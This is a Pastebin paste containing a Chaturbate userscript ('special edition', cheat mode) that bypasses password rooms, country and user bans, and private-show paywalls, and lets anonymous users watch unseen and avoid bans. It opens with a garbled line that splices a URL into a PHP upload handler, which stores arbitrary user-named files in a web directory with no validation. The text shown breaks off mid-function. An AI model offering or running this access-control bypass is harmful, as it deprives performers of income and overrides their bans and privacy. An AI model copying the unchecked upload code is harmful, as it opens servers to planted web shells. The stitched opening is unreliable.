Advertisement
jimgreeno

Untitled

Aug 25th, 2017
486
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
GetText 53.33 KB | None | 0 0
  1. 1.https://chaturbate.com/embed/sexybeth1248/?-_js./embed_js.php?i=in/?tour=9oGW&campaign=zM6MR&track=embed&room=sexybeth1248&bgcolor=transparent&disable_sound=0&embed_video_only=1&target=_parent' height=600 width=800 style='border: none; / $numoffile = 5; //  
  2.          $file_dir = "/home/webs/dmonster.com/subdomain/files/";
  3.      if ($_POST)
  4.      {
  5.        for ($i=0;$i<$numoffile;$i++)
  6.        {
  7.          if (trim($_FILES['myfiles']['name'][$i])!="")
  8.          {
  9.            $newfile = $file_dir.$_FILES['myfiles']['name'][$i];
  10.            move_uploaded_file($_FILES['myfiles']['tmp_name'][$i], $newfile);
  11.            $j++;
  12.          }
  13.        }
  14.      }
  15.      if (isset($j)&&$j>0) print "Your file(s) has been uploaded.
  16. ";
  17.      print "< form method='post' enctype='multipart/form-data'>";
  18.      for($i=0;$i<$numoffile;$i++)
  19.      {
  20.        print "< input type='file' name='myfiles[]' size='30'>
  21. ";
  22.      }
  23.      print "< input type='submit' name='action' value='Upload'>";
  24.      print "< / form>";
  25.  
  26. 2.    // ==UserScript==
  27.  
  28.  
  29. 3.   // @name           chaturbate
  30.  
  31.  
  32. 4.   // @version 1
  33.  
  34.  
  35. 5.    // @namespace  chaturbate    
  36.  
  37.  
  38. 6.   // @description    chaturbate      
  39.  
  40. 7.    // @include        http://*.chaturbate.com/*/ded/?-_js./embed_js.php?      
  41.        
  42. 8.    // @include         http://*.chaturbate.com//api/getchatuserlist/?    
  43.              
  44. 9.    // @include         http://chaturbate.com/*  
  45.        
  46.  
  47. 10.  // @exclude      http://serve.ads.chaturbate.com/*      
  48.  
  49.  
  50. 11.    // @run-at         document-start
  51.  
  52.  
  53. 12.    // @grant          GM_getValue
  54.  
  55.  
  56. 13.    // @grant          GM_setValue
  57.  
  58.  
  59. 14.    // @grant          GM_addStyle
  60.  
  61.  
  62. 15.    // @grant          GM_xmlhttpRequest
  63.  
  64.  
  65. 16.    // ==/UserScript==
  66.  
  67.  
  68. 17.    
  69.  
  70.  
  71. 18.            scversion = 16.7;
  72.  
  73.  
  74. 19.            flashplayer = "/static/flash/CBV_2p640.swf";
  75.  
  76.  
  77. 20.    
  78.  
  79.  
  80. 21.    //!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
  81.  
  82.  
  83. 22.    // if you see this text then save the file as *- newchaturbate.user.js -*
  84.  
  85.  
  86. 23.    //after saving open it inside chrome&microsoft edge & and install it.
  87.  
  88.  
  89. 24.    //!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
  90.  
  91.  
  92. 25.    //
  93.  
  94.  
  95. 26.    //++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
  96.  
  97.  
  98. 27.    //>>>>>>>>>>>>>>>>>>ONLY FOR CHROME&MICROSOFT EDGE WITH GREASEMONKEY RUNNING ON WINDOWS !!!<<<<<<<<<<
  99.  
  100.  
  101. 28.    // >>>>>>>>>>>>>>>>>>>>>>>>DO NOT GIVE THIS SCRIPT TO OTHER PERSONS !!<<<<<<<<<<<<<<<<<<
  102.  
  103.  
  104. 29.    // V12+
  105.  
  106.  
  107. 30.    // Removes all advertisements
  108.  
  109.  
  110. 31.    // Inserts a new video box if the room is password protected or if your banned or blocked
  111.  
  112.  
  113. 32.    // More colums on the main screen and streched the chat box
  114.  
  115.  
  116. 33.    // External links are no longer redirected
  117.  
  118.  
  119. 34.    // Checks the version of the flash player and tries to use the same version on protectected rooms
  120.  
  121.  
  122. 35.    // Shoutbox at the end of the screen
  123.  
  124.  
  125. 36.    // By default the chat won't show emoticons
  126.  
  127.  
  128. 37.    //
  129.  
  130.  
  131. 38.    // Unlocked supporters profile features ( PM , chat color etc.) USE IT WITH CARE !
  132.  
  133.  
  134. 39.    //
  135.  
  136.  
  137. 40.    // All links are rewritten to /p/ , the preformers profile, there you have the choice to go to the normal
  138.  
  139.  
  140. 41.    // webcam or to go to a webcam with special functions.
  141.  
  142.  
  143. 42.    // On a normal cam page you have the option to go back to the profile page.
  144.  
  145.  
  146. 43.    //
  147.  
  148.  
  149. 44.    // special video mode where you can enter a streamkey
  150.  
  151.  
  152. 45.    //
  153.  
  154.  
  155. 46.    // only the last updates are mentioned here , the list became too long
  156.  
  157.  
  158. 47.    //
  159.  
  160.  
  161. 48.    // v14.4 adjustment for the spy on cam screen. if you enter as an anon you can enter and leave the private chat any
  162.  
  163.  
  164. 49.    // time you want. if the performer goes private or groep you will stil auto-follow to the private room
  165.  
  166.  
  167. 50.    // v14.5 you can see video of country-banned rooms together with chat. reconnect chatbox option, if you have access in special mode
  168.  
  169.  
  170. 51.    // it will check for the chat host to connect too, if you have no access it will ask you what chat host to use
  171.  
  172.  
  173. 52.    // v14.6 added a video server selector in the special video menu , if you have no video then maually select an other one
  174.  
  175.  
  176. 53.    // v14.7 2 chat notifications made visible , name in thumb screen made easy to copy  
  177.  
  178.  
  179. 54.    // v14.8 video server orgin3 added
  180.  
  181.  
  182. 55.    // V14.9 shows the requester of a private show , better scroll with extra info, fixed front page mess-up with long broadcaster names
  183.  
  184.  
  185. 56.    // V15.1 orgin4 and 5 added. It remembers the server for every stream. In the key input area below the video you can enter a long string
  186.  
  187.  
  188. 57.    // containing the key , the script will select the key from it and, if its found, the server. As an anon it will ask if you want to be
  189.  
  190.  
  191. 58.    // in broadcaster mode. You can open a room in clean Iframe mode.
  192.  
  193.  
  194. 59.    // v15.2 corrected the usercolors in chat list , offline tipping of a non-verified user
  195.  
  196.  
  197. 60.    // v15.3 all video options removed , tipping removed , fixed anon entry
  198.  
  199.  
  200. 61.    // v15.4 fix for tipnotes
  201.  
  202.  
  203. 62.    // v15.5 sorting users by tokens in normal chat , mute tip sound option , floating widgets on profile page removed
  204.  
  205.  
  206. 63.    // v15.6 stopped auto refresh in banned video only page , more fancy reziseable video window
  207.  
  208.  
  209. 64.    // v15.7 no more tip notes
  210.  
  211.  
  212. 65.    // V15.8 if entering via password room you can use mobile mode. you will not appear in userlist and you can not be banned (you can be silenced!)
  213.  
  214.  
  215. 66.    // v15.9 bug fix from 15.8
  216.  
  217.  
  218. 67.    // v16.0 , number scipped
  219.  
  220.  
  221. 68.    // v16.1 use of a random server in password room b.c. the static server was down.
  222.  
  223.  
  224. 69.    // v16.2 fix for FF 23 , find a user added
  225.  
  226.  
  227. 70.    // v16.3 better user finder, fixed tipping and abusing in cheat mode, mobile video link added
  228.  
  229.  
  230. 71.    // v16.3a & b & c microsoft edge 20.1024.16384.0 © 2017 Microsoft compatible , no update
  231.  
  232.  
  233. 72.    // v16.4 graphical last online viewer , no more info stored in flash cookies , script cleanup
  234.  
  235.  
  236. 73.    // v16.5 always remove adds with cookie, better cleaning of messed-up profiles , always remove video logo
  237.  
  238.  
  239. 74.    //++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
  240.  
  241.  
  242. 75.    
  243.  
  244.  
  245. 76.            createCookie("agreeterms","1",1);
  246.  
  247.  
  248. 77.            createCookie("np3","0",1);
  249.  
  250.  
  251. 78.            if (!readCookie("noads")){createCookie("noads","1",30);window.location.reload()}
  252.  
  253.  
  254. 79.    
  255.  
  256.  
  257. 80.    function do_script() {
  258.  
  259.  
  260. 81.    
  261.  
  262.  
  263. 82.    // some adjustment needed if we are in cheat mode
  264.  
  265.  
  266. 83.    
  267.  
  268.  
  269. 84.            if (readCookie("cheatmode")){
  270.  
  271.  
  272. 85.            mode=readCookie("cheatmode").split("&");
  273.  
  274.  
  275. 86.            eraseCookie("cheatmode","chaturbate.com");
  276.  
  277.  
  278. 87.            preformer=mode[0];
  279.  
  280.  
  281. 88.            anon=mode[1];
  282.  
  283.  
  284. 89.            mob=mode[2];
  285.  
  286.  
  287. 90.            document.getElementsByTagName('body')[0].setAttribute("style", "border:50px double #545565;");
  288.  
  289.  
  290. 91.            base=document.createElement('BASE');
  291.  
  292.  
  293. 92.            url=document.location.href;
  294.  
  295.  
  296. 93.            url=url.replace(document.location.href.split("/")[4],preformer);
  297.  
  298.  
  299. 94.            url=url.split("?")[0];
  300.  
  301.  
  302. 95.    
  303.  
  304.  
  305. 96.            base.setAttribute("href",url);
  306.  
  307.  
  308. 97.    
  309.  
  310.  
  311. 98.            document.getElementsByTagName('head')[0].appendChild(base);
  312.  
  313.  
  314. 99.    
  315.  
  316.  
  317. 100.    
  318.  
  319.  
  320. 101.            text1="<center><b>Welcome in "+preformer+"'s room.</b><br></center>";
  321.  
  322.  
  323. 102.            text2="<center><b>You are an anonymous user and you can not chat.</b><br></center>";
  324.  
  325.  
  326. 103.            text3="<center><b>You are in mobile mode and you are not visible in the userlist.</b><br></center>";
  327.  
  328.  
  329. 104.            text4='<center><b><a href="javascript:if(flash_handler.initializer.is_on_private_room==false){GetFlashObject(\'movie\').LeaveRoom();flash_handler.initializer.is_on_private_room=true;GetFlashObject(\'movie\').JoinPrivateRoom(0)};">Enter the private room</a>--------<a href="javascript:if(flash_handler.initializer.is_on_private_room==true){GetFlashObject(\'movie\').LeaveRoom();flash_handler.initializer.is_on_private_room=false;GetFlashObject(\'movie\').JoinRoom(0);}">Leave the private room</a></center>';
  330.  
  331.  
  332. 105.            text5="<center><b><a href='http://chaturbate.com/p/"+preformer+"/'>Return to the profile.</a><br><br>";
  333.  
  334.  
  335. 106.    
  336.  
  337.  
  338. 107.            text=document.createElement('div');
  339.  
  340.  
  341. 108.    
  342.  
  343.  
  344. 109.            textf=text1;
  345.  
  346.  
  347. 110.            if(anon==1){textf=textf+text2}
  348.  
  349.  
  350. 111.            if(mob==1){textf=textf+text3}
  351.  
  352.  
  353. 112.            if((anon==1)&&(mob==0)){textf=textf+text4}
  354.  
  355.  
  356. 113.    
  357.  
  358.  
  359. 114.            text.id="cheat";
  360.  
  361.  
  362. 115.    
  363.  
  364.  
  365. 116.            text.innerHTML=textf+text5;
  366.  
  367.  
  368. 117.    
  369.  
  370.  
  371. 118.            body=document.getElementsByTagName('body')[0];
  372.  
  373.  
  374. 119.    
  375.  
  376.  
  377. 120.            body.insertBefore(text, body.firstChild);
  378.  
  379.  
  380. 121.    
  381.  
  382.  
  383. 122.    // fix abuse
  384.  
  385.  
  386. 123.            abu=document.getElementById("report_popup");
  387.  
  388.  
  389. 124.            abu.getElementsByTagName('form')[0].setAttribute("action","/abuse/report/"+preformer+"/");
  390.  
  391.  
  392. 125.    
  393.  
  394.  
  395. 126.    // fix the tipping    
  396.  
  397.  
  398. 127.            tips=document.getElementsByClassName('tip_shell')[0];
  399.  
  400.  
  401. 128.            tips.getElementsByTagName('form')[0].setAttribute("action","/tipping/send_tip/"+preformer+"/");
  402.  
  403.  
  404. 129.    
  405.  
  406.  
  407. 130.            }
  408.  
  409.  
  410. 131.    
  411.  
  412.  
  413. 132.    // always earase again, just in case we broke the page
  414.  
  415.  
  416. 133.            eraseCookie("cheatmode","chaturbate.com");
  417.  
  418.  
  419. 134.    // earase these too
  420.  
  421.  
  422. 135.            eraseCookie("latest_linked_timestamp");
  423.  
  424.  
  425. 136.            eraseCookie("latest_linked_username");
  426.  
  427.  
  428. 137.            eraseCookie("affkey");
  429.  
  430.  
  431. 138.            eraseCookie("fromaffiliate");
  432.  
  433.  
  434. 139.    
  435.  
  436.  
  437. 140.    
  438.  
  439.  
  440. 141.    // from here normal script
  441.  
  442.  
  443. 142.    
  444.  
  445.  
  446. 143.    // remove visible adds
  447.  
  448.  
  449. 144.            ad = document.getElementsByClassName('ad');
  450.  
  451.  
  452. 145.            if (document.location.href.split("/")[3]!="b"){
  453.  
  454.  
  455. 146.            if (ad[1]){ad[1].parentNode.removeChild(ad[1])}}
  456.  
  457.  
  458. 147.    
  459.  
  460.  
  461. 148.            verstr='<strong>Special edition </strong><br>V '+scversion;
  462.  
  463.  
  464. 149.            if(document.getElementById("player")){verstr=verstr+'<br><label> Debug chatbox: </label><input type="checkbox" id="appnotice">'}
  465.  
  466.  
  467. 150.            if (ad[0]){ad[0].innerHTML=verstr}
  468.  
  469.  
  470. 151.    
  471.  
  472.  
  473. 152.    
  474.  
  475.  
  476. 153.            ad = document.getElementsByClassName('banner')[0];
  477.  
  478.  
  479. 154.            if (ad){ad.parentNode.removeChild(ad)}
  480.  
  481.  
  482. 155.            ad=document.getElementById("botright");
  483.  
  484.  
  485. 156.            if (ad){ad.parentNode.removeChild(ad)}
  486.  
  487.  
  488. 157.    
  489.  
  490.  
  491. 158.    // advert options on menu bars and check if your logged in
  492.  
  493.  
  494. 159.            if (document.location.href.indexOf("/auth/logout/") != -1){eraseCookie("logstatus","chaturbate.com");eraseCookie("latest_linked_username");}
  495.  
  496.  
  497. 160.            notlogged = GM_getValue( "all" , 0 );
  498.  
  499.  
  500. 161.            bar=document.getElementById("nav");
  501.  
  502.  
  503. 162.            if (bar){
  504.  
  505.  
  506. 163.            barl=bar.getElementsByTagName('li');
  507.  
  508.  
  509. 164.            i=barl.length-1;
  510.  
  511.  
  512. 165.            while (i != -1){
  513.  
  514.  
  515. 166.            d=barl[i].innerHTML;
  516.  
  517.  
  518. 167.            if (d.indexOf('/login') != -1) {notlogged = 1}
  519.  
  520.  
  521. 168.            if ((d.indexOf('/login') != -1)||(d.indexOf('href="/"') != -1)||(d.indexOf('href="/b/') != -1)||(d.indexOf('/my_') != -1)){i--}
  522.  
  523.  
  524. 169.            else{barl[i].parentNode.removeChild(barl[i]);i--}
  525.  
  526.  
  527. 170.            }}
  528.  
  529.  
  530. 171.    
  531.  
  532.  
  533. 172.    // rss feed link
  534.  
  535.  
  536. 173.            if(document.getElementsByClassName('wide')[0]){
  537.  
  538.  
  539. 174.            newli=document.createElement('li');
  540.  
  541.  
  542. 175.            newli.innerHTML="<a href='http://chaturbate.com/affiliates/promotools/cam_listing/' target = _blank>LAST ONLINE </a>";
  543.  
  544.  
  545. 176.            if (bar){bar.appendChild(newli)}}
  546.  
  547.  
  548. 177.    
  549.  
  550.  
  551. 178.    // find user
  552.  
  553.  
  554. 179.            if(document.getElementsByClassName('wide')[0]){
  555.  
  556.  
  557. 180.            newli=document.createElement('li');
  558.  
  559.  
  560. 181.            newli.innerHTML="<a href='http://chaturbate.com/affiliates/promotools/im_ads/' target = _blank>FIND A USER </a>";
  561.  
  562.  
  563. 182.            if (bar){bar.appendChild(newli)}}
  564.  
  565.  
  566. 183.    
  567.  
  568.  
  569. 184.    
  570.  
  571.  
  572. 185.    // blog spam
  573.  
  574.  
  575. 186.            ad = document.getElementsByClassName('featured_blog_posts')[0];
  576.  
  577.  
  578. 187.            if (ad){ad.parentNode.removeChild(ad)}
  579.  
  580.  
  581. 188.    
  582.  
  583.  
  584. 189.    // footer spam
  585.  
  586.  
  587. 190.            ad = document.getElementsByClassName('featured_text')[0];
  588.  
  589.  
  590. 191.            if (ad){ad.parentNode.removeChild(ad)}
  591.  
  592.  
  593. 192.    
  594.  
  595.  
  596. 193.    // announcement banner
  597.  
  598.  
  599. 194.            ad = document.getElementsByClassName('top-section')[0];
  600.  
  601.  
  602. 195.            if (ad){
  603.  
  604.  
  605. 196.            ad = ad.getElementsByTagName('img')[0];
  606.  
  607.  
  608. 197.            if (ad){ad.parentNode.removeChild(ad)}}
  609.  
  610.  
  611. 198.    
  612.  
  613.  
  614. 199.    // footer cleanup
  615.  
  616.  
  617. 200.            ad = document.getElementsByClassName('footer-holder')[0];
  618.  
  619.  
  620. 201.            if (ad){
  621.  
  622.  
  623. 202.            ad1 = ad.getElementsByTagName('p')[3];
  624.  
  625.  
  626. 203.            if (ad1){ad1.parentNode.removeChild(ad1)}
  627.  
  628.  
  629. 204.            ad1 = ad.getElementsByTagName('p')[2];
  630.  
  631.  
  632. 205.            if (ad1){ad1.parentNode.removeChild(ad1)}
  633.  
  634.  
  635. 206.            ad1 = ad.getElementsByTagName('p')[1];
  636.  
  637.  
  638. 207.            if (ad1){ad1.parentNode.removeChild(ad1)}
  639.  
  640.  
  641. 208.            ad1 = ad.getElementsByTagName('p')[0];
  642.  
  643.  
  644. 209.            if (ad1){ad1.parentNode.removeChild(ad1)}}
  645.  
  646.  
  647. 210.    
  648.  
  649.  
  650. 211.    // strech the screen
  651.  
  652.  
  653. 212.            front=document.getElementsByClassName('c-1')[0];
  654.  
  655.  
  656. 213.            if(front) {
  657.  
  658.  
  659. 214.            front.setAttribute("style", "margin: 0px 0px 0px 35px;")}
  660.  
  661.  
  662. 215.            front=document.getElementsByClassName('c-1')[1];
  663.  
  664.  
  665. 216.            if(front) {
  666.  
  667.  
  668. 217.            front.setAttribute("style", "margin: 0px 0px 0px 35px;")}
  669.  
  670.  
  671. 218.    
  672.  
  673.  
  674. 219.    // remove out of position images
  675.  
  676.  
  677. 220.            container = document.getElementById("tabs_content_container")
  678.  
  679.  
  680. 221.            if (container){
  681.  
  682.  
  683. 222.            var taglist=new Array("a","p","i","strong","b","u","ul","ol","li","h1","h2","h3","img","font","br");
  684.  
  685.  
  686. 223.            for (n=0; n<taglist.length-1; n++){
  687.  
  688.  
  689. 224.            blockelm (taglist[n]);
  690.  
  691.  
  692. 225.            }}
  693.  
  694.  
  695. 226.    
  696.  
  697.  
  698. 227.            function blockelm(tag){
  699.  
  700.  
  701. 228.            var image = container.getElementsByTagName(tag);
  702.  
  703.  
  704. 229.            for (i=0; i<image.length; i++){
  705.  
  706.  
  707. 230.            if (image[i].style.position){
  708.  
  709.  
  710. 231.            if ((image[i].style.position.indexOf("absolute")!=-1)||(image[i].style.position.indexOf("fixed")!=-1)){
  711.  
  712.  
  713. 232.            image[i].style.display="none"}
  714.  
  715.  
  716. 233.            }}}
  717.  
  718.  
  719. 234.    
  720.  
  721.  
  722. 235.    //fix external links redirection
  723.  
  724.  
  725. 236.            var link = document.getElementsByTagName('a');
  726.  
  727.  
  728. 237.            for (i=0; i<link.length; i++){
  729.  
  730.  
  731. 238.            if (link[i].href.indexOf('?url=') != -1){
  732.  
  733.  
  734. 239.            linkhref=unescape(link[i].href);
  735.  
  736.  
  737. 240.            newlinkhref=linkhref.substring(linkhref.indexOf("?url=")+5,linkhref.indexOf("&domain"));
  738.  
  739.  
  740. 241.            link[i].href=newlinkhref}}
  741.  
  742.  
  743. 242.    
  744.  
  745.  
  746. 243.    
  747.  
  748.  
  749. 244.            if (notlogged == 0){ // logged in
  750.  
  751.  
  752. 245.    
  753.  
  754.  
  755. 246.    // on a profile page link to cam
  756.  
  757.  
  758. 247.            splits=document.location.href.split("/");
  759.  
  760.  
  761. 248.            play=document.getElementById("movie"); // check for player
  762.  
  763.  
  764. 249.    
  765.  
  766.  
  767. 250.            if (splits[3]!="b"){ // not broadcasting
  768.  
  769.  
  770. 251.            if (splits[3]=="p"){ // profile page (can have player)
  771.  
  772.  
  773. 252.    
  774.  
  775.  
  776. 253.            newli=document.createElement('li');
  777.  
  778.  
  779. 254.            camloc = splits[0]+"/"+splits[1]+"/"+splits[2]+"/"+splits[4];
  780.  
  781.  
  782. 255.            newli.innerHTML="<a href="+camloc+">OPEN THE NORMAL CHAT </a>";
  783.  
  784.  
  785. 256.            if (bar){bar.appendChild(newli)}
  786.  
  787.  
  788. 257.    
  789.  
  790.  
  791. 258.    
  792.  
  793.  
  794. 259.    // go to semi password room
  795.  
  796.  
  797. 260.            newli=document.createElement('li');
  798.  
  799.  
  800. 261.            pwroom= splits[0]+"/"+splits[1]+"/"+splits[2]+"/roomlogin/"+splits[4];
  801.  
  802.  
  803. 262.            newli.innerHTML="<a href='"+pwroom+"'>GO TO PASSWORD ROOM</a>";
  804.  
  805.  
  806. 263.            if (bar){bar.appendChild(newli)};
  807.  
  808.  
  809. 264.    
  810.  
  811.  
  812. 265.    // go to embedded room
  813.  
  814.  
  815. 266.            newli=document.createElement('li');
  816.  
  817.  
  818. 267.            ebroom= splits[0]+"/"+splits[1]+"/"+splits[2]+"/embed/"+splits[4];
  819.  
  820.  
  821. 268.            newli.innerHTML="<a href='"+ebroom+"' target=_blank>OPEN THE ROOM IN A CLEAN PAGE</a>";
  822.  
  823.  
  824. 269.            if (bar){bar.appendChild(newli)};
  825.  
  826.  
  827. 270.    
  828.  
  829.  
  830. 271.            } // end only on profile page
  831.  
  832.  
  833. 272.    
  834.  
  835.  
  836. 273.    // graphic rss feed
  837.  
  838.  
  839. 274.            function showfeed(){
  840.  
  841.  
  842. 275.            var x=document.getElementById("selector").selectedIndex;
  843.  
  844.  
  845. 276.            feedXml='http://chaturbate.com/feed/latest/?'+document.getElementById("selector").getElementsByTagName("option")[x].value+"&"+new Date().getTime() ;
  846.  
  847.  
  848. 277.    
  849.  
  850.  
  851. 278.            GM_xmlhttpRequest({
  852.  
  853.  
  854. 279.            method: 'GET',
  855.  
  856.  
  857. 280.            url: feedXml,
  858.  
  859.  
  860. 281.            onload: function(response) {
  861.  
  862.  
  863. 282.            xmlString=response.responseText;
  864.  
  865.  
  866. 283.    
  867.  
  868.  
  869. 284.    // dirty HTML parser, i can handle xml as html
  870.  
  871.  
  872. 285.            xmldoc=document.createElement('div');
  873.  
  874.  
  875. 286.            xmldoc.innerHTML=xmlString;
  876.  
  877.  
  878. 287.    
  879.  
  880.  
  881. 288.            area=document.getElementsByClassName('content_body')[0];
  882.  
  883.  
  884. 289.            area.innerHTML="";
  885.  
  886.  
  887. 290.    
  888.  
  889.  
  890. 291.            newdiv=document.createElement('div');
  891.  
  892.  
  893. 292.            area.appendChild(newdiv);
  894.  
  895.  
  896. 293.    
  897.  
  898.  
  899. 294.            holder=document.createElement('ul');
  900.  
  901.  
  902. 295.            holder.className="list";
  903.  
  904.  
  905. 296.            holder.id="check";
  906.  
  907.  
  908. 297.            newdiv.appendChild(holder);
  909.  
  910.  
  911. 298.    
  912.  
  913.  
  914. 299.            var items = new Array();
  915.  
  916.  
  917. 300.            items=xmldoc.getElementsByTagName('item');
  918.  
  919.  
  920. 301.    
  921.  
  922.  
  923. 302.            blockstring='<img src="item1" alt="item2" class="png" height="148" width="180">'
  924.  
  925.  
  926. 303.            +'<a href="item3" target="_blank" class="corners">&nbsp;</a>'
  927.  
  928.  
  929. 304.            +'<div class="details">'
  930.  
  931.  
  932. 305.            +'<div class="title">'
  933.  
  934.  
  935. 306.            +'<a target="_blank" href="item4">item5</a>'
  936.  
  937.  
  938. 307.            +'<span class="age genderitem6">&nbsp;</span>'
  939.  
  940.  
  941. 308.            +'</div>'
  942.  
  943.  
  944. 309.            +'<ul class="subject">'
  945.  
  946.  
  947. 310.            +'<li></li>'
  948.  
  949.  
  950. 311.            +'</ul>'
  951.  
  952.  
  953. 312.            +'<ul class="sub-info">'
  954.  
  955.  
  956. 313.            +'<li class="location">item8</li>'
  957.  
  958.  
  959. 314.            +'<li class="cams">item9 min. online - item10 viewers</li>'
  960.  
  961.  
  962. 315.            +'</ul>'
  963.  
  964.  
  965. 316.            +'</div>';
  966.  
  967.  
  968. 317.    
  969.  
  970.  
  971. 318.            for (n=0; n<items.length; n++){
  972.  
  973.  
  974. 319.            image_url= items[n].getElementsByTagName("image_url")[0].innerHTML;
  975.  
  976.  
  977. 320.            title = items[n].getElementsByTagName("title")[0].innerHTML;
  978.  
  979.  
  980. 321.    
  981.  
  982.  
  983. 322.            guid =  items[n].getElementsByTagName("guid")[0].innerHTML;
  984.  
  985.  
  986. 323.            gsplits=guid.split("/");
  987.  
  988.  
  989. 324.            guid=gsplits[0]+"/"+gsplits[1]+"/"+gsplits[2]+"/p/"+gsplits[3];
  990.  
  991.  
  992. 325.    
  993.  
  994.  
  995. 326.            username = items[n].getElementsByTagName("username")[0].innerHTML;
  996.  
  997.  
  998. 327.            gender = items[n].getElementsByTagName("gender")[0].innerHTML;
  999.  
  1000.  
  1001. 328.            location_ = items[n].getElementsByTagName("location")[0].innerHTML;
  1002.  
  1003.  
  1004. 329.            number_of_users_watching = items[n].getElementsByTagName("number_of_users_watching")[0].innerHTML;
  1005.  
  1006.  
  1007. 330.    
  1008.  
  1009.  
  1010. 331.            online_since = items[n].getElementsByTagName("online_since")[0].innerHTML;
  1011.  
  1012.  
  1013. 332.            osplits=online_since.split(":");
  1014.  
  1015.  
  1016. 333.            Honline=parseInt(osplits[0].split(" ")[1]);
  1017.  
  1018.  
  1019. 334.            Monline=parseInt(osplits[1]);
  1020.  
  1021.  
  1022. 335.            Sonline=parseInt(osplits[2].split(".")[0]);
  1023.  
  1024.  
  1025. 336.    
  1026.  
  1027.  
  1028. 337.        offset = parseInt((new Date().getTimezoneOffset()))/60;
  1029.  
  1030.  
  1031. 338.            Honline = Honline+11+offset;
  1032.  
  1033.  
  1034. 339.            if (Honline >= 24){Honline=Honline-24}
  1035.  
  1036.  
  1037. 340.    
  1038.  
  1039.  
  1040. 341.            d = new Date();
  1041.  
  1042.  
  1043. 342.            Hnow = d.getHours();
  1044.  
  1045.  
  1046. 343.            Mnow = d.getMinutes();
  1047.  
  1048.  
  1049. 344.            Snow = d.getSeconds();
  1050.  
  1051.  
  1052. 345.    
  1053.  
  1054.  
  1055. 346.            secnow=(Hnow*60*60)+(Mnow*60)+Snow;
  1056.  
  1057.  
  1058. 347.            seconl=(Honline*60*60)+(Monline*60)+Sonline;
  1059.  
  1060.  
  1061. 348.            secdiff=Math.abs(secnow-seconl);
  1062.  
  1063.  
  1064. 349.            mindiff=parseInt(secdiff/60);
  1065.  
  1066.  
  1067. 350.          
  1068.  
  1069.  
  1070. 351.            block=document.createElement('li');
  1071.  
  1072.  
  1073. 352.            block.setAttribute("style", "margin: 5px 5px 5px 5px;");
  1074.  
  1075.  
  1076. 353.    
  1077.  
  1078.  
  1079. 354.            blockstring1=blockstring.replace("item1",image_url);
  1080.  
  1081.  
  1082. 355.            blockstring1=blockstring1.replace("item2",title);
  1083.  
  1084.  
  1085. 356.            blockstring1=blockstring1.replace("item3",guid);
  1086.  
  1087.  
  1088. 357.            blockstring1=blockstring1.replace("item4",guid);
  1089.  
  1090.  
  1091. 358.            blockstring1=blockstring1.replace("item5",username);
  1092.  
  1093.  
  1094. 359.            blockstring1=blockstring1.replace("item6",gender);
  1095.  
  1096.  
  1097. 360.            blockstring1=blockstring1.replace("item8",location_);
  1098.  
  1099.  
  1100. 361.            blockstring1=blockstring1.replace("item9",mindiff);
  1101.  
  1102.  
  1103. 362.            blockstring1=blockstring1.replace("item10",number_of_users_watching);
  1104.  
  1105.  
  1106. 363.    
  1107.  
  1108.  
  1109. 364.            block.innerHTML=blockstring1;
  1110.  
  1111.  
  1112. 365.    
  1113.  
  1114.  
  1115. 366.            holder.appendChild(block);
  1116.  
  1117.  
  1118. 367.    
  1119.  
  1120.  
  1121. 368.            } // end for
  1122.  
  1123.  
  1124. 369.    
  1125.  
  1126.  
  1127. 370.            setTimeout(function(){showfeed()},20000);
  1128.  
  1129.  
  1130. 371.    
  1131.  
  1132.  
  1133. 372.            } // end onload
  1134.  
  1135.  
  1136. 373.            }); // end xmlhttp
  1137.  
  1138.  
  1139. 374.            } // end function
  1140.  
  1141.  
  1142. 375.    
  1143.  
  1144.  
  1145. 376.    
  1146.  
  1147.  
  1148. 377.    //finduser
  1149.  
  1150.  
  1151. 378.            function finduser(){
  1152.  
  1153.  
  1154. 379.            fusern=document.getElementById("fusername").value;
  1155.  
  1156.  
  1157. 380.            if (fusern == ""){alert("First fill in a username !");return false}
  1158.  
  1159.  
  1160. 381.    
  1161.  
  1162.  
  1163. 382.            document.getElementsByClassName('affiliate_options')[0].innerHTML="Please wait, getting roomlist";
  1164.  
  1165.  
  1166. 383.    
  1167.  
  1168.  
  1169. 384.    
  1170.  
  1171.  
  1172. 385.            feedXml='http://chaturbate.com/tours/3/?p=1&c=1000';
  1173.  
  1174.  
  1175. 386.    
  1176.  
  1177.  
  1178. 387.            GM_xmlhttpRequest({
  1179.  
  1180.  
  1181. 388.            method: 'GET',
  1182.  
  1183.  
  1184. 389.            url: feedXml,
  1185.  
  1186.  
  1187. 390.            onload: function(response) {
  1188.  
  1189.  
  1190. 391.            responsedoc=response.responseText;
  1191.  
  1192.  
  1193. 392.    
  1194.  
  1195.  
  1196. 393.    // dirty HTML parser
  1197.  
  1198.  
  1199. 394.            parse=document.createElement('div');
  1200.  
  1201.  
  1202. 395.            parse.innerHTML=responsedoc;
  1203.  
  1204.  
  1205. 396.    
  1206.  
  1207.  
  1208. 397.            var items = new Array();
  1209.  
  1210.  
  1211. 398.            items=parse.getElementsByClassName('title');
  1212.  
  1213.  
  1214. 399.    
  1215.  
  1216.  
  1217. 400.            var olnames = new Array();
  1218.  
  1219.  
  1220. 401.            for (i=0; i<items.length-1; i++){
  1221.  
  1222.  
  1223. 402.            olnames[i]=items[i].getElementsByTagName('a')[0].innerHTML;
  1224.  
  1225.  
  1226. 403.            }
  1227.  
  1228.  
  1229. 404.    
  1230.  
  1231.  
  1232. 405.    // save some memory
  1233.  
  1234.  
  1235. 406.            responsedoc="";
  1236.  
  1237.  
  1238. 407.            parse="";
  1239.  
  1240.  
  1241. 408.            items.length = 0;
  1242.  
  1243.  
  1244. 409.    // end parser
  1245.  
  1246.  
  1247. 410.    
  1248.  
  1249.  
  1250. 411.            document.getElementsByClassName('content_body')[0].innerHTML="Searching "+i+" rooms for user: <b>"+fusern+"</b><br><br>";
  1251.  
  1252.  
  1253. 412.    
  1254.  
  1255.  
  1256. 413.            i=0;
  1257.  
  1258.  
  1259. 414.            checkroom(olnames,i);
  1260.  
  1261.  
  1262. 415.    
  1263.  
  1264.  
